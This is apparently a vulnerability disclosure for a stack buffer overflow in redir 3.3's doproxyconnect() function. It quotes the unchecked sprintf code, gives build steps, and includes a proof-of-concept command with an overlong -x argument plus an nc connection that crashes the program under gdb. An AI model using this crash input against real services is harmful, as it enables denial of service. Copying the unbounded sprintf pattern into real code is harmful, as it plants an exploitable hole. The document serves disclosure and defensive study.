Redir version 3.3 suffers from a denial of service vulnerability.

MD5 | 613739db8c2343215f9e213d7ec70e38

# Exploit Title: Redir 3.3 - Denial of Service (PoC)
# Date: 2020-01-14
# Exploit Author: hieubl from HPT Cyber Security
# Vendor Homepage: https://github.com/troglobit/redir
# Software Link: https://github.com/troglobit/redir
# Version: 3.3
# Tested on: Kali GNU/Linux Rolling 2019.4
# CVE : [if applicable]

The source code of redir.c contains doproxyconnect() function which
has the stack overflow vulnerability:

void doproxyconnect(int socket)
{
int x;
char buf[128];

/* write CONNECT string to proxy */
sprintf((char *)&buf, "CONNECT %s HTTP/1.0nn", connect_str);
x = write(socket, (char *)&buf, strlen(buf));
if (x < 1) {
syslog(LOG_ERR, "Failed writing to proxy: %s", strerror(errno));
exit(1);
}
/* now read result */
x = read(socket, (char *)&buf, sizeof(buf));
if (x < 1) {
syslog(LOG_ERR, "Failed reading reply from proxy: %s", strerror(errno));
exit(1);
}
/* no more error checking for now -- something should be added later */
/* HTTP/1.0 200 Connection established */
}

Download and build:
# git clone https://github.com/troglobit/redir.git
# cd redir
# ./autogen.sh
# ./configure
# make

Proof of Concept:
In 1st terminal:
# gdb -q ./redir
# set follow-fork-mode child
# r -x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:1234 hpt.vn:80

In 2nd terminal:
# nc localhost 1234

After that, the program in 1st terminal will crash because of buffer
overflow vulnerability.
...
► 0x5555555571b0 ret
...
Program received signal SIGSEGV (fault address 0x0)
pwndbg>

Source